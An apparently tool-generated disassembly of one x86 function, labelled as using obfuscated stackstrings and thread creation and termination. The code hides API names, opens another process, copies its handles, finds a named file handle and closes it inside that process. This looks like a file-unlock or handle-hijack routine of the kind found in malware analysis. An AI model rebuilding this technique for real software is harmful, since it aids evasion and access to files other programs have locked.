Function at 0x40a6c0
Capabilities:
Contain obfuscated stackstrings
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f741d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xac
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 4], 0
xor edx, edx
movaps xmm0, xmmword [0x526500]
movups xmmword [ebp - 0x92], xmm0
mov word [ebp - 0x82], 0x3e
nop dword [eax]
nop dword [eax + eax]
movzx eax, byte [ebp + edx - 0x92]
push eax
call fcn.004606a0
mov byte [ebp + edx - 0x92], al
inc edx
cmp edx, 0x11
jb 0x40a710
mov dword [ebp - 0x22], 0x262e3e24
xor ecx, ecx
mov dword [ebp - 0x1e], 0x262e6426
mov word [ebp - 0x1a], 0x26
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 9
jb 0x40a741
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x22]
push edi
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x92]
push ecx
push eax
call edi
mov dword [ebp - 0x58], eax
xor ecx, ecx
mov dword [ebp - 0x3e], 0x3f1b3e04
mov dword [ebp - 0x3a], 0x533382f
mov dword [ebp - 0x36], 0x292f2028
mov word [ebp - 0x32], 0x3e
movzx eax, byte [ebp + ecx - 0x3e]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x3e], al
inc ecx
cmp ecx, 0xd
jb 0x40a794
mov dword [ebp - 0x2c], 0x262e3e24
xor ecx, ecx
mov dword [ebp - 0x28], 0x262e6426
mov word [ebp - 0x24], 0x26
nop
movzx eax, byte [ebp + ecx - 0x2c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 9
jb 0x40a7c0
lea eax, [ebp - 0x2c]
push eax
call esi
lea ecx, [ebp - 0x3e]
push ecx
push eax
call edi
push dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
push 0
push 0x40
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x18], edi
test edi, edi
je 0x40aa60
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x44], ecx
cmp dword [eax], ecx
jbe 0x40aa5d
mov edx, dword [ebp - 0x14]
add eax, 8
mov dword [ebp - 0x5c], eax
nop
movups xmm1, xmmword [eax]
mov dword [ebp - 0x10], 0
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0xb8], xmm1
mov dword [ebp - 0x30], 0
psrldq xmm1, 4
movd eax, xmm1
movq qword [ebp - 0xa8], xmm0
cmp eax, dword [ebp - 0x50]
jne 0x40aa46
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0xb0]
push edi
call dword [ebp - 0x58]
test eax, eax
js 0x40aa43
lea eax, [ebp - 0x30]
push eax
push 0
push 0
push 2
push dword [ebp - 0x10]
call dword [ebp - 0x54]
test eax, eax
mov eax, dword [ebp - 0x30]
jns 0x40a89f
test eax, eax
jne 0x40a89f
push dword [ebp - 0x10]
call esi
jmp 0x40aa43
push eax
call fcn.004de91c
add esp, 4
mov edi, eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
push edi
push 2
push dword [ebp - 0x10]
call dword [ebp - 0x54]
test eax, eax
js 0x40aa3b
cmp word [edi], 0
jbe 0x40aa40
push str.File
push dword [edi + 4]
call fcn.004d1124
add esp, 8
test eax, eax
je 0x40aa40
movaps xmm0, xmmword [0x526160]
xor ecx, ecx
movups xmmword [ebp - 0x76], xmm0
mov dword [ebp - 0x66], 0x2b2f3822
mov word [ebp - 0x62], 0x2e
nop
movzx eax, byte [ebp + ecx - 0x76]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x76], al
inc ecx
cmp ecx, 0x15
jb 0x40a900
lea eax, [ebp - 0x76]
push eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x4c]
push 0
push 0
push eax
push 0x40a5b0
push 0
push 0
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x64
push esi
mov dword [ebp - 0x60], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x40aa11
mov eax, dword [ebp - 0x48]
test eax, eax
je 0x40aa11
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x7c], eax
test cx, cx
je 0x40a9fe
push 1
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x9c]
push eax
call dword [sym.imp.ntdll.dll_RtlUnicodeStringToAnsiString]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push dword [ebp - 0x98]
call fcn.004d1390
add esp, 8
test eax, eax
je 0x40a9fe
push edi
call fcn.004de1c6
push dword [ebp - 0x48]
call fcn.004de1c6
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
push dword [ebp - 0x10]
call esi
push 1
push 0
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, dword [ebp - 0x18]
push eax
push dword [ebp - 0xb0]
push edi
call dword [ebp - 0x58]
test eax, eax
js 0x40aa43
push dword [ebp - 0x10]
call esi
jmp 0x40aa43
push edi
call fcn.004de1c6
push dword [ebp - 0x48]
call fcn.004de1c6
add esp, 8
jmp 0x40aa35
push 0
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call fcn.004de1c6
mov eax, dword [ebp - 0x48]
add esp, 4
test eax, eax
je 0x40aa35
push eax
call fcn.004de1c6
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x10]
call esi
mov edi, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
inc dword [ebp - 0x44]
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x44]
add eax, 0x1c
mov dword [ebp - 0x5c], eax
cmp ecx, dword [edx]
jb 0x40a820
push edi
call esi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret